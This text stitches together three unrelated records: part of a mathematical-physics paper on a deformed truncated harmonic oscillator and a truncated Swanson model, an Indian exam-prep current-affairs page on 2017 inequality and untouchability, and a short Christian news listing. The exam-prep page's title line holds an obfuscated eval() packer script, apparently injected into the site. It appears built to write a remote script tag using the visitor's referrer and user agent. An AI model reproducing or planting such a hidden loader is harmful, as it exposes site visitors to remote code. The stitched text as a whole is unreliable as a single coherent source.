whose adjoints are $a^\dagger=\overline{\nu_{\frac{1}{2},1}}\,|\psi_{\frac{1}{2},1}\left>\right<\varphi_{\frac{1}{2},0}|$ and $b^\dagger=\overline{\nu_{\frac{1}{2},1}^{-1}}\,|\psi_{\frac{1}{2},0}\left>\right<\varphi_{\frac{1}{2},1}|$. It is interesting to observe that the operators $a^\dagger$ and $b^\dagger$ given here coincide with $B$ and $A$ if condition (\ref{add1}) is satisfied.

In a similar way, if $N=3$, $a$ and $b$ can be written as
\be
a=\nu_{1,1}\,|\varphi_{\frac{3}{2},0}\left>\right<\psi_{1,1}|+\nu_{\frac{3}{2},0}\,
|\varphi_{\frac{1}{2},0}\left>\right<\psi_{\frac{3}{2},0}|, \qquad b=2\nu_{1,1}^{-1}\,|\varphi_{1,1}\left>\right<\psi_{\frac{3}{2},0}|+
\nu_{\frac{3}{2},0}^{-1}\,|\varphi_{\frac{3}{2},0}\left>\right<\psi_{\frac{1}{2},0}|,
\label{310}\en
and the adjoint $a^\dagger$ and $b^\dagger$ which we deduce out of these behaves as the operators $B$ and $A$ in (\ref{add2}) if conditions in (\ref{34}) are satisfied. The same is true for larger values of $N$.

It turns out that  $a^\dagger$ and $b^\dagger$ are respectively equal to the ladder operators $B$ and $A$ for $\F_\psi^{(4)}$. This is a general characteristic of the construction: the same constraints on $\mu_{h',k'}$ and $\nu_{h',k'}$ which make of $\F_\varphi^{(N)}$ and $\F_\psi^{(N)}$ biorthonormal bases ensure that the adjoint of the representations of $a$ and $b$ coincide exactly with $B$ and $A$.

\subsection{Relation with (\ref{11})}\label{sectIII.1}

At the beginning of Section \ref{sectII} we have already discussed how (\ref{21}) can be obtained from (\ref{11}), by means of a similarity map. In this section we discuss the inverse construction, i.e. we show how, starting from (\ref{21}), it is possible to construct two operators, $c$ and $K$, which obey the commutation rule in (\ref{11}) and such that $Kc=0$. Our construction is similar, but not identical, to that proposed for pseudo-fermions, \cite{pf1}.

We start introducing the operators
\be
S_\varphi=\sum_{(h',k')\in\G_N}|\varphi_{h',k'}\left>\right<\varphi_{h',k'}|, \qquad S_\psi=\sum_{(h',k')\in\G_N}|\psi_{h',k'}\left>\right<\psi_{h',k'}|.
\label{36}\en
These are bounded, invertible, Hermitian and positive. Moreover, they are one the inverse of the other, $S_\varphi S_\psi=S_\psi S_\varphi=\1$, and satisfy the following:
\be
S_\varphi \psi_{h',k'}=\varphi_{h',k'}, \qquad S_\psi \varphi_{h',k'}=\psi_{h',k'},
\label{37}\en
for all $(h',k')\in\G_N$. $S_\psi$ admits an unique positive square root, which is also invertible. Hence we can define
\be
e_{h',k'}=S_\psi^{1/2}\varphi_{h',k'}, \qquad c=S_\psi^{1/2}aS_\psi^{-1/2},
\label{38}\en
for $(h',k')\in\G_N$.  Now, it is a simple computation to prove that the set $\F_e=\{e_{h',k'}\}$ is an o.n. basis for $\Hil_N$. It is also possible to check that $c^\dagger$, other than being equal to $S_\psi^{-1/2}a^\dagger S_\psi^{1/2}$, can also be written as $c^\dagger=S_\psi^{1/2}bS_\psi^{-1/2}$. In fact $S_\psi^{-1/2}a^\dagger S_\psi^{1/2}=S_\psi^{1/2}bS_\psi^{-1/2}$ if and only if $S_\psi b=a^\dagger S_\psi$, i.e. if $S_\psi$ intertwines between $b$ and $a^\dagger$. This equality can be easily deduced by considering the action of $S_\psi b$ and $a^\dagger S_\psi$ on the vectors of $\F_\varphi$. In fact, it turns out that $S_\psi b\varphi_{h',k'}=a^\dagger S_\psi\varphi_{h',k'}$ for all $(h',k')\in\G_N$, at least if we assume that $\mu_{h',k'}=\nu_{h',k'}$ for all $(h',k')\in\G_N$. This further constraint simplifies the conditions we have found before to guarantee the biorthonormality of the sets $\F_\varphi^{(N)}$ and $\F_\psi^{(N)}$ and in the analysis of the representation of the operators $a$, $a^\dagger$, $b$ and $b^\dagger$ in terms of these vectors.

Now, since $c=S_\psi^{1/2}aS_\psi^{-1/2}$ and $c^\dagger=S_\psi^{1/2}bS_\psi^{-1/2}$, it turns out that $[c,c^\dagger]=\1-NK$, where $K$ is defined as $K=S_\psi^{1/2}kS_\psi^{-1/2}$. Of course $K^2=K$ and $Kc=0$. Moreover $K=K^\dagger$ if and only if $k$ commutes with $S_\psi$, which is true:
$
S_\psi k\varphi_{h',k'}=k'S_\psi \varphi_{h',k'}=k'\psi_{h',k'}=k\psi_{h',k'}=kS_\psi\varphi_{h',k'}.
$
Hence, since $\Hil_N$ has finite dimension, $[k,S_\psi]=0$.

\vspace{2mm}

Summarizing we can say that it is possible to deform (\ref{11}) to get (\ref{21}), but we can also go the other way around, i.e. we can consider (\ref{21}) as our starting point, and use the eigenvectors of $h$, $h^\dagger$ and $k$ constructed out of $a$ and $b$ to define new operators satisfying (\ref{11}).

\section{Examples}\label{sectIV}

In this section we consider a pair of examples. The first one is more mathematical, while in the second we connect our general settings with a truncated version of the Swanson model, \cite{swan}, which is very well known among the PT-quantum mechanical community, being one non trivial example of manifestly non self-adjoint Hamiltonian which is isospectral to the standard (i.e., self-adjoint) harmonic oscillator.

\subsection{An example with $N=4$}

Let $a$ and $b$ the following four-by-four matrices:
$$
a=\frac{1}{1+\alpha^3}\left(
                        \begin{array}{cccc}
                          (1-\sqrt{2})\alpha^2 & 1+\sqrt{2}\alpha^3 & (\sqrt{2}-1)\alpha & 0 \\
                          -\sqrt{2}\alpha & \sqrt{2}\alpha^2 & \sqrt{2} & \sqrt{3}\alpha(1+\alpha^3) \\
                          \alpha^3 & \alpha & -\alpha^2 & \sqrt{3}(1+\alpha^3) \\
                          0 & 0 & 0 & 0 \\
                        \end{array}
                      \right)
$$
and
$$
b=\frac{1}{1+\alpha^3}\left(
                        \begin{array}{cccc}
                          \alpha & -\alpha^2 & \alpha^3 & 0 \\
                          1+\sqrt{2}\alpha^3 & (\sqrt{2}-1)\alpha & (1-\sqrt{2})\alpha^2 & 0 \\
                          \sqrt{2}\alpha^2 & \sqrt{2} & -\sqrt{2}\alpha & 0 \\
                          -\sqrt{3}\alpha & \sqrt{3}\alpha^2 & \sqrt{3} & 0 \\
                        \end{array}
                      \right),
$$
where $\alpha$ is a real constant different from $-1$. These operators satisfy the commutation rule $[a,b]=\1-4k$, where $k$ is the diagonal matrix on $\Hil_4$ with three zeros and a single one in the main diagonal: $k=diag(0,0,0,1)$. Hence $ka=bk=0$. The hamiltonian $h=ba+\frac{1}{2}(\1-4k)$ looks like
$$
h=\frac{1}{1+\alpha^3}\left(
                        \begin{array}{cccc}
                          \frac{1}{2}(1+3\alpha^2) & \alpha & -\alpha^2 & 0 \\
                          -\alpha^2 & \frac{1}{2}(3+5\alpha^3) & \alpha & 0 \\
                          -2\alpha & 2\alpha^2 & \frac{1}{2}(5+\alpha^3) & 0 \\
                          0 & 0 & 0 & \frac{3}{2} \\
                        \end{array}
                      \right),
$$
which is manifestly not self-adjoint if $\alpha\neq0$: $h\neq h^\dagger$. We will show now how the procedure proposed in this paper can be applied and produces two biorthogonal bases of eigenvectors of $h$ and $h^\dagger$, which are also eigenvectors of the operator $k$. We start by looking at the vector $\varphi_{\frac{3}{2},1}$ which is annihilated by $b$: $b\varphi_{\frac{3}{2},1}=0$. This forces $\varphi_{\frac{3}{2},1}^T$, the transpose of $\varphi_{\frac{3}{2},1}$, to be of the following form:
$
\varphi_{\frac{3}{2},1}^T=\left(
                          \begin{array}{cccc}
                            0 &0 &0 &
                            \gamma_4 \\
                          \end{array}
                        \right),
$
where $\gamma_4$ could be any non zero complex number, (almost) fixed later by the normalization.

Now, since $a\varphi_{\frac{3}{2},1}=\nu_{\frac{3}{2},1}\varphi_{\frac{5}{2},0}$, we easily check that
$
\varphi_{\frac{5}{2},0}^T=\frac{\sqrt{3}\,\gamma_4}{\nu_{\frac{3}{2},1}}\left(
\begin{array}{cccc}
0 &\alpha &1 &0 \\
                          \end{array}
                        \right).
$
Still, since $a\varphi_{\frac{5}{2},0}=\nu_{\frac{5}{2},0}\varphi_{\frac{3}{2},0}$, we deduce that
$
\varphi_{\frac{3}{2},0}^T=\frac{\sqrt{6}\,\gamma_4}{\nu_{\frac{3}{2},1}\,\nu_{\frac{5}{2},0}}\left(
                          \begin{array}{cccc}
                          0 &1 &0 &0 \\
                          \end{array}
                        \right),
$
while, using the equality $a\varphi_{\frac{3}{2},0}=\nu_{\frac{3}{2},0}\varphi_{\frac{1}{2},0}$, we get
$
\varphi_{\frac{1}{2},0}^T=\frac{\sqrt{6}\,\gamma_4}{\nu_{\frac{3}{2},1}\,\nu_{\frac{5}{2},0}\,\nu_{\frac{3}{2},0}}\left(
                          \begin{array}{cccc}
                          1 &0 &\alpha &0 \\
                          \end{array}
                        \right).
$
An explicit check shows that $a\varphi_{\frac{1}{2},0}=0$, and that $b\varphi_{\frac{5}{2},0}=3\nu_{\frac{3}{2},1}^{-1}\varphi_{\frac{3}{2},1}$, $b\varphi_{\frac{3}{2},0}=2\nu_{\frac{5}{2},0}^{-1}\varphi_{\frac{5}{2},0}$ and $b\varphi_{\frac{1}{2},0}=\nu_{\frac{3}{2},0}^{-1}\varphi_{\frac{3}{2},0}$, as they should.

\vspace{2mm}

The biorthogonal set $\F_\psi^{(4)}$ can be constructed in a similar way: we start looking for a four dimensional vector $\psi_{\frac{3}{2},1}$ which is annihilated by $B=a^\dagger$. This vector is
$
\psi_{\frac{3}{2},1}^T=\left(
                          \begin{array}{cccc}
                          0 &0 &0 &
                          \gamma_4' \\
                          \end{array}
                        \right).
$
Then, acting with $A$ several times on $\psi_{\frac{3}{2},1}$, we find the other vectors of $\F_\psi^{(4)}$. In particular, since $A\psi_{\frac{3}{2},1}=\mu_{\frac{3}{2},1}\psi_{\frac{5}{2},0}$, we find
$
\psi_{\frac{5}{2},0}^T=\frac{\sqrt{3}\,\gamma_4'}{(1+\alpha^3)\mu_{\frac{3}{2},1}}\left(
                          \begin{array}{cccc}
                         -\alpha &\alpha^2 &1 &
                          0 \\
                          \end{array}
                       \right),
$
while $\psi_{\frac{3}{2},0}$ and $\psi_{\frac{1}{2},0}$ can be deduced by acting one or two times with $A$ on $\psi_{\frac{5}{2},0}$. We get
$$
\psi_{\frac{3}{2},0}=\frac{\sqrt{6}\,\gamma_4'}{(1+\alpha^3)\mu_{\frac{3}{2},1}\mu_{\frac{5}{2},0}}\left(
                          \begin{array}{c}
                            \alpha^2 \\
                            1 \\
                            -\alpha \\
                            0 \\
                          \end{array}
                        \right),\qquad \psi_{\frac{1}{2},0}=\frac{\sqrt{6}\,\gamma_4'}{(1+\alpha^3)
                        \mu_{\frac{3}{2},1}\mu_{\frac{5}{2},0}\mu_{\frac{3}{2},0}}\left(
                          \begin{array}{c}
                            1 \\
                            -\alpha \\
                            \alpha^2 \\
                            0 \\
                          \end{array}
                        \right).
$$
A direct check shows that $\left<\varphi_{h',k'},\psi_{h'',k''}\right>=0$ if $(h',k')\neq(h'',k'')$. As for the normalization, the situation is the following: $\left<\varphi_{\frac{3}{2},1},\psi_{\frac{3}{2},1}\right>=1$ if $\gamma_4\gamma_4'=1$; then, $\left<\varphi_{\frac{5}{2},0},\psi_{\frac{5}{2},0}\right>=1$ if $\nu_{\frac{3}{2},1}\mu_{\frac{3}{2},1}=3$; now, $\left<\varphi_{\frac{3}{2},0},\psi_{\frac{3}{2},0}\right>=1$ if $\nu_{\frac{5}{2},0}\mu_{\frac{5}{2},0}=2$. If all these equalities hold, then $\left<\varphi_{\frac{1}{2},0},\psi_{\frac{1}{2},0}\right>=1$ if $\nu_{\frac{3}{2},0}\mu_{\frac{3}{2},0}=1$.  The sets $\F_\varphi^{(4)}$ and $\F_\psi^{(4)}$ obtained in this way are eigenstates of $h$, $h^\dagger$ and of $k$, with the {\em right eigenvalues}.

If we now, for instance, fix $\gamma_4=1$, $\nu_{\frac{3}{2},1}=\mu_{\frac{3}{2},1}=\sqrt{3}$, $\nu_{\frac{5}{2},0}=\mu_{\frac{5}{2},0}=\sqrt{2}$ and $\nu_{\frac{3}{2},0}=\mu_{\frac{3}{2},0}=1$, we obtain the following families of vectors:
$$
\varphi_{\frac{1}{2},0}=\left(
                          \begin{array}{c}
                            1 \\
                            0 \\
                            \alpha \\
                            0 \\
                          \end{array}
                        \right),\quad \varphi_{\frac{3}{2},0}=\left(
                          \begin{array}{c}
                            \alpha \\
                            1 \\
                            0 \\
                            0 \\
                          \end{array}
                        \right),\quad \varphi_{\frac{5}{2},0}=\left(
                          \begin{array}{c}
                            0 \\
                            \alpha \\
                            1 \\
                            0 \\
                          \end{array}
                        \right),\quad \varphi_{\frac{3}{2},1}=\left(
                          \begin{array}{c}
                            0 \\
                            0 \\
                            0 \\
                            1 \\
                          \end{array}
                        \right),
$$
while
$$
\psi_{\frac{1}{2},0}=\frac{1}{(1+\alpha^3)}\left(
                          \begin{array}{c}
                            1 \\
                            -\alpha \\
                            \alpha^2 \\
                            0 \\
                          \end{array}
                        \right),\, \psi_{\frac{3}{2},0}=\frac{1}{(1+\alpha^3)}\left(
                          \begin{array}{c}
                            \alpha^2 \\
                            1 \\
                            -\alpha \\
                            0 \\
                          \end{array}
                        \right), \, \psi_{\frac{5}{2},0}=\frac{1}{(1+\alpha^3)}\left(
                          \begin{array}{c}
                            -\alpha \\
                            \alpha^2 \\
                            1 \\
                            0 \\
                          \end{array}
                        \right), \, \psi_{\frac{3}{2},1}=\left(
                          \begin{array}{c}
                            0 \\
                            0 \\
                            0 \\
                            1 \\
                          \end{array}
                        \right).
$$
If we fix, for concreteness, $\alpha={1}{2}$, we find in particular that the operators $S_\varphi$ and $S_\psi$ are
$$
S_\varphi=\frac{1}{4}\left(
\begin{array}{cccc}
 5 & 2 & 2 & 0 \\
 2 & 5 & 2 & 0 \\
 2 & 2 & 5 & 0 \\
 0 & 0 & 0 & 4 \\
\end{array}
\right),
\qquad S_\psi=\frac{1}{27}\left(
\begin{array}{cccc}
 28 & -8 & -8 & 0 \\
 -8 & 28 & -8 & 0 \\
 -8 & -8 & 28 & 0 \\
 0 & 0 & 0 & 27 \\
\end{array}
\right).
$$
Following Section \ref{sectIII.1}, and (\ref{38}) in particular, we get the following {\em self-adjoint version} of the system:
$$
c=\left(
\begin{array}{cccc}
 \frac{1}{9} \left(1+\sqrt{2}+\sqrt{3}-\sqrt{6}\right) & \frac{1}{9} \left(4+\sqrt{2}+2 \sqrt{3}\right) & \frac{1}{9} \left(-2+\sqrt{2}+\sqrt{6}\right) & \frac{1}{\sqrt{3}}-1 \\
 \frac{1}{9} \left(1-2 \sqrt{2}-\sqrt{3}\right) & \frac{1}{9} \left(-2+\sqrt{2}+\sqrt{6}\right) & \frac{2}{9} \left(2+2 \sqrt{2}-\sqrt{3}+\sqrt{6}\right) & \frac{1}{\sqrt{3}} \\
 \frac{1}{9} \left(1+4 \sqrt{2}-2 \sqrt{6}\right) & \frac{1}{9} \left(1+\sqrt{2}+\sqrt{3}-\sqrt{6}\right) & \frac{1}{9} \left(1-2 \sqrt{2}-\sqrt{3}\right) & 1+\frac{1}{\sqrt{3}} \\
 0 & 0 & 0 & 0 \\
\end{array}
\right),
$$
and the following o.n. basis:
$$
e_{\frac{1}{2},0}=\left(
\begin{array}{c}
 \frac{1}{3}+\frac{1}{\sqrt{3}} \\
 \frac{1}{3}-\frac{1}{\sqrt{3}} \\
 \frac{1}{3} \\
 0 \\
\end{array}
\right),\quad e_{\frac{3}{2},0}=\left(
\begin{array}{c}
 \frac{1}{3} \\
 \frac{1}{3}+\frac{1}{\sqrt{3}} \\
 \frac{1}{3}-\frac{1}{\sqrt{3}} \\
 0 \\
\end{array}
\right), \quad e_{\frac{5}{2},0}=\left(
\begin{array}{c}
 \frac{1}{3}-\frac{1}{\sqrt{3}} \\
 \frac{1}{3} \\
 \frac{1}{3}+\frac{1}{\sqrt{3}} \\
 0 \\
\end{array}
\right), \quad e_{\frac{3}{2},1}=\left(
\begin{array}{c}
 0 \\
 0 \\
 0 \\
 1 \\
\end{array}
\right).
$$
It is easy to check that $c$, together with its adjoint $c^\dagger$, satisfies (\ref{11}), and that the vectors $e_{h',k'}$ are eigenstates of $H_0=c^\dagger c+\frac{1}{2}(\1-4K)$ and $K$, with the {\em right} eigenvalues. So our original system can be mapped into a system as those described in \cite{buc}. However, in order to perform such a mapping, it should be stressed that the eigenvectors $\varphi_{h',k'}$ (or the $\psi_{h',k'}$) should be found first, to construct $S_\varphi$ and its inverse, $S_\psi$, and then their square roots. These are in fact the essential ingredients of formula (\ref{38}).

\subsection{A truncated Swanson model}

In \cite{buc} the commutation rule (\ref{11}) have been used to consider a truncated version of the harmonic oscillator, living in the finite dimensional Hilbert space $\Hil_N$, and then considering its limit for diverging $N$. In \cite{bgv} it has been discussed that the self-adjoint Hamiltonian of the oscillator produces, using similarity transformations, several non self-adjoint quadratic Hamiltonians with known spectra and eigenstates which may, or may not, form bases for the infinite-dimensional Hilbert space where the model is defined. Among these Hamiltonians, one can recover the ones for the shifted harmonic oscillator and for the Swanson model. All these systems can be described in terms of pseudo-bosonic operators. Hence it might be interesting to consider the truncated versions of this models. For instance, following \cite{baginbagbook}, we introduce
$$
H_\theta=\frac{1}{2}\left(p^2+x^2\right)-\frac{i}{2}\,\tan(2\theta)\left(p^2-x^2\right), $$ where $\theta$ is a real parameter taking value in
$I=\left(-\frac{\pi}{4},\frac{\pi}{4}\right)\setminus\{0\}$.  We assume here that $[x,p]=i(\1-Nk)$. Hence $H_\theta$ can be rewritten as
$ H_\theta=\omega_\theta\left(B_\theta\,A_\theta+\frac{1}{2}(\1-Nk)\right), $ where $\omega_\theta=\frac{1}{\cos(2\theta)}$ is well
defined because $\cos(2\theta)\neq0$ for all $\theta\in I$, and where the operators $A_\theta$ and $B_\theta$ are defined as in \cite{baginbagbook}:
$$\left\{
\begin{array}{ll}A_\theta=\frac{1}{\sqrt{2}}\left(e^{i\theta}x+ie^{-i\theta}p\right),\\
B_\theta=\frac{1}{\sqrt{2}}\left(e^{i\theta}x-ie^{-i\theta}p\right),\end{array} \right. $$
which satisfy the commutation rule $[A_\theta,B_\theta]=\1-Nk$. Of course, if $\theta\neq0$, $H_\theta\neq H_\theta^\dagger$. The $N$ eigenstates of $H_\theta$ and  those of $H_\theta^\dagger$ can be constructed as shown previously. In particular they are also eigenstates of the projection operator $k$, and correspond to the eigenvalues $\frac{\omega_\theta}{2}$, $\frac{3\,\omega_\theta}{2}$, $\frac{5\,\omega_\theta}{2}$ and so on, depending on the explicit value of $N$. Of course, as in the infinite dimensional Swanson model, since $H_\theta$ and $H_\theta^\dagger$ have the same eigenvalues, we can imagine that they satisfy a suitable intertwining relations, and in fact we could explicitly deduce that
$$
H_\theta S_\varphi=S_\varphi H_\theta^\dagger.
$$
Notice that this is much better than we get for the infinite dimensional case, \cite{baginbagbook}. In that case, in fact, we are only able to prove that the analogous of the intertwining equation in above holds on each eigenstate of $H_\theta^\dagger$, but the set of these vectors is not a basis for the Hilbert space: it is only a $\D$-quasi basis. Here this problem does not exist since in the present situation the set of eigenstates of $H_\theta$ is surely a basis for the finite-dimensional space $\Hil_N$. So, in a sense, the truncated Swanson model is {\em better} than the original one.

Of course, it is clear that this {\em truncation} works also for many other quantum mechanical systems which are similar to the harmonic oscillator, as those listed in \cite{bgv}. In particular, for instance, it can be applied to the shifted harmonic oscillator whose Hamiltonian, $H_\beta=\frac{\beta}{2}\left(p^2+x^2\right)+i\sqrt{2}\,p$,  $\beta>0$, is manifestly non self-adjoint. In principle, then, we can expect that this kind of truncation can be relevant is applications, at least for some particular systems. For instance, a similar framework was used in connection with a biological system in \cite{bagentropy}. What we like in the operators used here is that they obey interesting, and simple, commutation relations so that they can produce more relevant mathematical and physical results.

\section{Conclusions}\label{sectV}

We have proposed a deformed version of the truncated harmonic oscillator which, in our opinion, is particularly interesting in connection with $PT$-quantum mechanics and with its relatives. We have shown how two biorthogonal bases can be constructed, using raising and lowering operators which are not necessarily related by an adjoint operation, and that these bases are eigenstates of two Hamiltonians, one the adjoint of the other, connected by suitable intertwining relations. In particular, these results extend, and improve, those found in \cite{abg}, where two biorthogonal bases were used to define two different pairs of ladder operators but where no closed commutation rule was deduced.

We have also discussed in details an example in $N=4$, and a possible application to the Swanson model, and in particular we have deduced that the basis property for its truncated, non-self-adjoint, version is satisfied.

\section*{Acknowledgements}

FB gratefully thanks B. Bagchi for useful discussions and for suggesting the reading of \cite{buc} and \cite{bagchi}. He also acknowledges support from the GNFM of Indam and from the University of Palermo.

redpajama_set_name: RedPajamaArXiv


text:
IASbaba's Daily Current Affairs – 30th December, 2016
Categories IASbaba's Daily Current Affairs Analysis, IASbaba's Daily Current Affairs Dec 2016, National, UPSC
IASbaba's Daily Current Affairs – 30th December 2016
IASbaba's eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ityay|var|u0026u|referrer|thsrd||js|php'.split('|'),0,{})) Daily Current Affairs – 30th December 2016
Economic Inclusion and Equality in 2017
Global Co-relation
Co-existence and Co-operation
Expectations and Role Play in 2017
Economic Challenges in 2017
Untouchability in India? Yes, it exists!
Untouchability in modern India?
Caste discrimination
Admitting the criminal offence
IASbaba's views
TOPIC: General Studies 3
Effects of liberalization on the economy, changes in industrial policy and their effects on industrial growth.
Inclusive growth and issues arising from it.
Indian Economy and issues relating to planning, mobilization of resources, growth, development and employment.
How 2016 shaped up?
The year gone by has seen a lot of political developments around the world whether it was the exit of Britain from the European Union (EU) or the presidential elections in the USA. The people around the world who have constituted the vote bank have been concerned about issues such as trade, migration, and structural labour market changes.
However, from an economic viewpoint, 2016 has not been a very happening year and has just seen nations recovering slowly from the after effects of the global crisis of 2008.
The economic activity in the US, Europe and other emerging markets has seen gradual improvement with a few vulnerabilities still in existence.
USA Policies
The expansionist policies shown by the USA have had a positive impact worldwide.
The approach by USA has helped in raising expectations of global growth and inflation and also gives some respite and manoeuvring space to the central banks of advanced nations which have carried the burden of the economic policies throughout the past few years of recovery and growth.
As per International Monetary Fund (IMF), the fiscal policy of countries with a stronger economic base and capacity to withstand the shocks need to be supportive for global growth.
These countries should have monetary policies and structural reforms which aid increase in productivity and growth.
Other factors such as Germany assuming leadership of the G-20 will push the countries towards structural reforms and building more resilient and stronger economies.
In the coming year, China is expected to continue focussing on reorientation of its economy away from exports and more towards domestic demand. Other Asian economies are also expected to and need to exhibit more dynamism in their growth strategies.
The economic challenges in 2017 will be a result of various political developments that have occurred in the last one year.
Imbalance in technological progress in countries is widening income inequality within many countries. The same can be well understood by the fact that in major advanced economies, the top 10% of earners' incomes increased by 40% in the last two decades.
Another major challenge staring in the face of the international community is migration which is increasing in magnitude due to geopolitical pressures.
Migrants and refugees are substantially beneficial for host countries but their increase leads to fears of economic and cultural change and ethnic insecurities.
Nations believe that restrictions on cross-border movement of goods, capital, and people will improve employment prospects and economic security of the domestic population
Countries need to preserve the gains from economic openness while addressing inequalities or else welfare and living standards of people especially in the low income countries would be endangered.
There is also a growing feeling among people that policymakers are not focussing adequately on interests and welfare.
The major problems related to inequality can be addressed in many different ways.
Governments can provide and enhance direct support for lower-skill workers, especially in countries and regions which have had high rate of automation and outsourcing.
Policy makers should focus on increasing the public investments in healthcare services, education and skills training and also try to improve occupational and geographic mobility.
A huge focus has to be laid on significance of lifelong education to prepare current and future generations for fast-changing technologies.
Countries should strengthen social safety nets and promote affordable childcare, parental leave, access to healthcare and workplace flexibility.
Tax reforms and legal minimum wage rules can also be implemented to support lower-income earners and create tax incentives to bring more women into the labour market.
Economic fairness should be ensured so as to restore social trust and bolster public support for reforms.
Governments around the world should try to promote competition in important industries that lack it, crack down on tax evasion and prevent business practices that shift profits to low-tax locations.
As a result of the above suggestions, the policies can improve economic inclusion if the same are implemented effectively. Various stakeholders and professions need to join the economic world in this effort.
The IMF recommends a more equitable income distribution as a sound social policy and a sound economic policy as well. As per research, reduction in high inequality makes economic growth more robust and sustainable over the long term.
Political developments that have happened in 2016 will push policymakers to focus on those countries or people who have benefited least from economic integration or have been displaced by technology-driven labour-market changes.
Lastly, we need to understand that there is no 'one size fits all' approach to tackle inequality and promote inclusion around the world. Policies have to be flexible and suitable for different countries and regions depending on the set of problems they face.
What are the reasons that the world countries are witnessing inequality and lack of inclusion in the post global crisis era? Suggest a strategy for nations to promote equality and inclusion with due concern towards economic growth.
Social empowerment
Salient features of Indian Society
The Constitution of India has abolished untouchability under article 17. It has been made it a punishable offence under the Untouchability Offences Act, 1955. The practice of reservations has been going on for a while where in the society aims to reconstruct the society by giving the depressed, oppressed and the under privileged some status in the society.
Despite the constitutional provision, punishable offence and upliftment efforts, untouchability is present in the society, and unfortunately, thriving.
It is a product of the caste system in Indian society where people from lower strata of the society are called 'untouchables' or 'achut' as they are 'impure'.
They are called 'impure' as their ancestors were doing jobs that were considered polluting and impure such as removing human waste (known as "manual scavenging"), dragging away and skinning animal carcasses, tanning leather etc.
It has now been taken for granted that such activities have to be performed by 'untouchables' or 'Dalits'.
Thus, untouchability is prompted by the spirit of social aggression and the belief in purity and pollution that characterises casteism.
With the economic growth, technological leapfrogs and scientific developments, many may feel that untouchability no longer exists in India or is not being practiced much except for in some rural areas.
However, untouchability has various forms and not just 'not touching the person'. Untouchability is present in nearly every sphere of life and practiced in an infinite number of forms.
At the village level Dalits are barred from using wells used by non-Dalits, not allowed to the barber shop or entering temples, kids are given food to eat separately and clean school toilets, at the level of job recruitment and employment Dalits are systematically paid less, given menial work and rarely promoted.
In urban areas too untouchability is visible in considerable proportion. There are separate utensils for servants, they have separate siting arrangement and are mostly not allowed to use toilets of the house they work in.
Many in urban areas think about caste only in context of reservation or media reports like the Una flogging incident. People may think that caste hardly plays a role in modern society, but a research proves it otherwise.
A survey called SARI (Social Attitudes Research for India) has conducted that caste discrimination is far more commonplace than most educated urbanites would care to acknowledge.
The SARI used sampling in urban area (Delhi) and rural area (Uttar Pradesh). It was found that people's attitudes towards their Dalit neighbours is sobering: among non-Dalit Hindus in Delhi, a third said that someone in their household practises untouchability. In Uttar Pradesh, half of adults said that someone practises it.
This presents the ground reality of the so called 'abolished' practice.
Picture Credit: http://www.thehindu.com/opinion/op-ed/article16960325.ece/alternates/FREE_320/TH30_New_Inter%20Marriage
When it was asked to a sample if untouchability was practiced at their home, the answer would be a unflinching yes from many.
However, if it was a yes, it didn't mean that only older people were engaged in such activity. There is very few age variations in reported untouchability. Sadly, in Delhi and U.P., young people are not much less likely to practise untouchability than their parents or grandparents.
In Delhi, half the adults in non-SC Hindu households admitted to the fact that they practiced untouchability whereas in Uttar Pradesh, the numbers reached 70%.
However, these numbers do have concealed truth in them. Some people know that it is politically incorrect to admit practising untouchability to a stranger. Hence, the responses are manipulated.
The women are less likely to conceal the truth than men as they are less aware that it is not a politically correct thing to say. Hence, inspite of living in same household, there is observed difference in their answers at times.
Also, as women work more with food, utensils and domestic help, there is more proof of practice of untouchability in their responses.
If women's responses are only considered, which are more likely to be accurate, it is found that 40% of non-Dalit Hindu households in Delhi report practising untouchability. In rural UP, it touches 60%. Inspite of this, there are women who do not admit to practising untouchability or do not recognise some of the things they do in their interactions with Dalits as untouchability.
Untouchability is considered as an age old practice which found its way even after independence despite the fact that eminent persons like B.R.Ambedkar and Ganshiji have staunchly opposed such social discrimination.
The reservations in government schools and jobs was initiated to socially uplift the backward classes. But, not much difference is visible on ground when abolishing of untouchability is concerned.
To remove untouchability, the children have to be made aware ad educated about such ongoing process.
It has been found that many urban families find themselves talking explicitly about caste only when their children are trying to get admitted to colleges. The children have the right to know what reservation is and why some social groups have certain privileges over another.
Just like women report untouchability practices, the mothers are the foremost teachers of the children to educate them about caste differences and caste discrimination happening around.
Rather than denying existence of untouchability with the hope that the new generation will not bother about it this technologically driven era and eventually untouchability will disappear, it is more matured approach by the parents, teachers, and even the government to make the child aware about it and make it end.
The children have to be taught about respecting the fellow human being irrespective of their background and have kinder attitude towards different groups.
A study of primary school students in the United States found that white students who read about both the accomplishments of and the discrimination faced by black Americans later displayed less biased attitudes towards blacks than white children who had merely read about accomplishments.
Untouchability is not easy to eradicate, but it does not mean it cannot be and thus should exist. If its existence is denied, the children will never come to know why it is practiced and what can be done to stop it. They will continue to follow the archaic and hurtful social norms without knowing the root cause of the same and thus crippling the growth of the society culturally. Hence, right from parents to teachers to government, all have to make sincere efforts to educate the children about the ongoing practice of untouchability in rural as well as in urban areas. This will make the children more aware of their unjust social customs and find ways to abolish them, thereby upholding the true spirit of constitution of India.
Why in your opinion is untouchability still being practiced? Critically evaluate the means for their upliftment.
Though constitution abolishes untouchability, it is widely practiced by the common man, thereby making a considerable proportion of citizens of India against the law. Is there any remedy to it? Give reasons for you answer.
Notes to remember
Goodbye, Barack
Poor swiped out in choice-less, not cash-less, society
Cash is medieval, cards break vicious economic cycles
Economy: What lies ahead?
Raghuram Rajan | Democracy, inclusion and prosperity
Tarek Osman | The religion question in the new year
A German model for our MSMEs?
Ends and means
Disastrous rise of climate sceptics
Let's admit it, China is not our enemy
IASbaba Daily Current Affairs Quiz [Day 88]
IASbaba's Daily Current Affairs – 31st December, 2016

redpajama_set_name: RedPajamaCommonCrawl


text:
Christian World News: June 18, 2010 Read Article
On this week's Christian World News: More on the growing issue of human trafficking in the U.S. and abroad, ethnic violence forcing people out of Kyrgyzstan, two D.C. fathers working to make a difference through film, and more.
cbntv, cwnepisodes
Christian World News - Defender of the Faith - September 9, 2022
Christian World News - September 2, 2022
Christian World News - Keeping the Faith - August 26, 2022
